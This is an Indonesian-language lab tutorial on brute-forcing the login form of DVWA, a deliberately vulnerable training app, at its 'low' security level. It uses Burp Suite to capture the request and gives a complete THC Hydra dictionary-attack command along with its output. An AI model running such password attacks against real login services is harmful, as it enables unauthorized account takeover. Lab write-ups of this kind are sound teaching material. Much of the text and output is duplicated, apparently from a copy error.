DVWA Brute Force Login untuk Security Level Low
Berikut ini adalah tutorial bagaimana caranya melakukan brute force attack untuk memperoleh passsword di DVWA dengan low securiry.
Kebutuhan Alat
- Kali Linux
- DVWA x1.9 jalan di mesin yang terpisah
STEP 1: Intelejen
Pekerjaan rumah yang harus di selesaikan adalah mencari tahu,
Pekerjaan rumah yang harus di selesaikan adalah mencari tahu,
- apa yang terjadi saat user submit form?
- apakah GET atau POST request?
- kemana request tersebut di kirim?
- bentuk data yang dikirim?
Kita akan menggunakan Burp Suite di Kali Linux sebagai proxy. Untuk membayangkan posisi burpsuite sebagai proxy adalah sebagai berikut,
HTTP request tanpa proxy
Browser -> Target server
HTTP request tanpa proxy
Browser -> Target server
HTTP request dengan proxy
Browser -> Proxy server -> Target server
Dengan Burp Suite bekerja sebagai proxy, kita bisa melihat / inspect HTTP request yang terjadi.
Browser -> Proxy server -> Target server
Dengan Burp Suite bekerja sebagai proxy, kita bisa melihat / inspect HTTP request yang terjadi.
Siapkan DVWA
Yang perlu di siapkan adalah menset security level menjadi low
Yang perlu di siapkan adalah menset security level menjadi low
- login ke DVWA
- klik DVWA Security (di bagian bawah)
- ubah Security Level > Low
- klik Submit
Setup burpsuite proxy
Masuk ke
Applications > Favorites > burpsuite
Masuk ke
Applications > Favorites > burpsuite
Cek proxy running
Klik Proxy (Tap Kiri Atas) > Options
Klik Proxy (Tap Kiri Atas) > Options
lihat bahwa:
proxy berjalan di 127.0.0.1:8080
kondisi running
proxy berjalan di 127.0.0.1:8080
kondisi running
Setup Browser
Setup browser, di Kali Linux kita menggunakan Iceweasel. Pastikan proxy menggunakan burpsuite, caranya,
Klik kanan pada Iceweasel > aktifkan menu - supaya hidup kita mudah.
Klik Edit > Preferences > Advanced > Network > Settings
Pindahkan dari
use system proxy settings > manual proxy configuration
Pastikan proxy di set ke burpsuite 127.0.0.1 port 8080
Klik kanan pada Iceweasel > aktifkan menu - supaya hidup kita mudah.
Klik Edit > Preferences > Advanced > Network > Settings
Pindahkan dari
use system proxy settings > manual proxy configuration
Pastikan proxy di set ke burpsuite 127.0.0.1 port 8080
Silahkan browse ke sasaran dengan kondisi brupsuite interceptor on.
Analisa login request
Dengan interceptor enabled. Browse ke sasaran, misalnya,
http://target.site/DVWA-1.0/vulnerabilities/brute/
http://192.168.0.100/DVWA-1.0/vulnerabilities/brute/
Dengan interceptor enabled. Browse ke sasaran, misalnya,
http://target.site/DVWA-1.0/vulnerabilities/brute/
http://192.168.0.100/DVWA-1.0/vulnerabilities/brute/
Semua request dari browser akan di tahan oleh brupsuite. Kita dapat inspect, modify, drop, atau forward request tersebut.
Tanpa memasukan username / password, tekan tombol login. Lihat reqest yang ada di brupsuite. Kita harusnya melihat beberapa key info,
Ini adalah GET request
login paramater (username=&password=&Login=Login)
cookie (security=low; PHPSESSID=ahs8eugnukjkh9auegathrbfg5)
Dengan informasi ini kita dapat mebuat request yang sama, dan menggunakannya untuk brute force attack.
Tanpa memasukan username / password, tekan tombol login. Lihat reqest yang ada di brupsuite. Kita harusnya melihat beberapa key info,
Ini adalah GET request
login paramater (username=&password=&Login=Login)
cookie (security=low; PHPSESSID=ahs8eugnukjkh9auegathrbfg5)
Dengan informasi ini kita dapat mebuat request yang sama, dan menggunakannya untuk brute force attack.
STEP 2: attack.
Kita akan menggunakan THC hydra untuk melakukan rapid dictionary attack pada layanan authentikasi. hydra mempunyai banyak pilihan, bisa dilihat menggunakan
hydra -h
Yang kita perlu masukan ke hydra untuk serangan kita adalah:
target server
URL path
username
password dictionary
cookie
failure message
Kita akann cheat sedikit dengan menggunakan username admin, kita bisa saja menggunakan username dictionary, hanya membuat proses menjadi lebih lama. Kita akan fokus ke password dulu.
Kita akan menggunakan THC hydra untuk melakukan rapid dictionary attack pada layanan authentikasi. hydra mempunyai banyak pilihan, bisa dilihat menggunakan
hydra -h
Yang kita perlu masukan ke hydra untuk serangan kita adalah:
target server
URL path
username
password dictionary
cookie
failure message
Kita akann cheat sedikit dengan menggunakan username admin, kita bisa saja menggunakan username dictionary, hanya membuat proses menjadi lebih lama. Kita akan fokus ke password dulu.
Failure message adalah responds yang akan kita dapat dari login form jika kita gagal login. Ini adalah string yang di cari hydra dari responds HTML yang ada.
Hasil akhir perintah hydra yang akan digunakan adalah sebagai berikut,
hydra 192.168.0.100 -l admin -P /usr/share/set/src/fasttrack/wordlist.txt http-get-form "/DVWA-1.9/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie:security=low;PHPSESSID=ahs8eugnukjkh9auegathrbfg5"
In action:
Setelah hydra di jalankan, hasilnya kira-kira,
Hasil akhir perintah hydra yang akan digunakan adalah sebagai berikut,
hydra 192.168.0.100 -l admin -P /usr/share/set/src/fasttrack/wordlist.txt http-get-form "/DVWA-1.9/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie:security=low;PHPSESSID=ahs8eugnukjkh9auegathrbfg5"
In action:
Setelah hydra di jalankan, hasilnya kira-kira,
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting at 2017-03-04 05:28:01
[DATA] max 16 tasks per 1 server, overall 64 tasks, 141 login tries (l:1/p:141), ~0 tries per task
[DATA] attacking service http-get-form on port 80
[80][http-get-form] host: 192.168.0.100 login: admin password: test
[80][http-get-form] host: 192.168.0.100 login: admin password: testing123
[80][http-get-form] host: 192.168.0.100 login: admin password: testtest
[80][http-get-form] host: 192.168.0.100 login: admin password: testing
[80][http-get-form] host: 192.168.0.100 login: admin password: test-sql3
[80][http-get-form] host: 192.168.0.100 login: admin password: bankbank
[80][http-get-form] host: 192.168.0.100 login: admin password: testing
[80][http-get-form] host: 192.168.0.100 login: admin password: sqlsqlsqlsqlsql
[80][http-get-form] host: 192.168.0.100 login: admin password: password2
[80][http-get-form] host: 192.168.0.100 login: admin password: default
[80][http-get-form] host: 192.168.0.100 login: admin password: password
[80][http-get-form] host: 192.168.0.100 login: admin
[80][http-get-form] host: 192.168.0.100 login: admin password: test
1 of 1 target successfully completed, 13 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-03-04 05:28:02
Hydra (http://www.thc.org/thc-hydra) starting at 2017-03-04 05:28:01
[DATA] max 16 tasks per 1 server, overall 64 tasks, 141 login tries (l:1/p:141), ~0 tries per task
[DATA] attacking service http-get-form on port 80
[80][http-get-form] host: 192.168.0.100 login: admin password: test
[80][http-get-form] host: 192.168.0.100 login: admin password: testing123
[80][http-get-form] host: 192.168.0.100 login: admin password: testtest
[80][http-get-form] host: 192.168.0.100 login: admin password: testing
[80][http-get-form] host: 192.168.0.100 login: admin password: test-sql3
[80][http-get-form] host: 192.168.0.100 login: admin password: bankbank
[80][http-get-form] host: 192.168.0.100 login: admin password: testing
[80][http-get-form] host: 192.168.0.100 login: admin password: sqlsqlsqlsqlsql
[80][http-get-form] host: 192.168.0.100 login: admin password: password2
[80][http-get-form] host: 192.168.0.100 login: admin password: default
[80][http-get-form] host: 192.168.0.100 login: admin password: password
[80][http-get-form] host: 192.168.0.100 login: admin
[80][http-get-form] host: 192.168.0.100 login: admin password: test
1 of 1 target successfully completed, 13 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2017-03-04 05:28:02
Terlihat dengan jelas ada 13 valid password admin :) ...Yang normal kita gunakan biasanya username admin password password.
Referensi
- http://lms.onnocenter.or.id/wiki/index.php/DVWA:_Brute_Force_login_low
- https://medium.com/@dannybeton/dvwa-brute-force-tutorial-low-security-463880d53e50#.gezblpmna
- https://c.uctalks.ucweb.com/detail/b283d3bf88cb4a06b16ffd073027bc77?uc_param_str=dnvebichfrmintcpwidsudsvnwpflameefut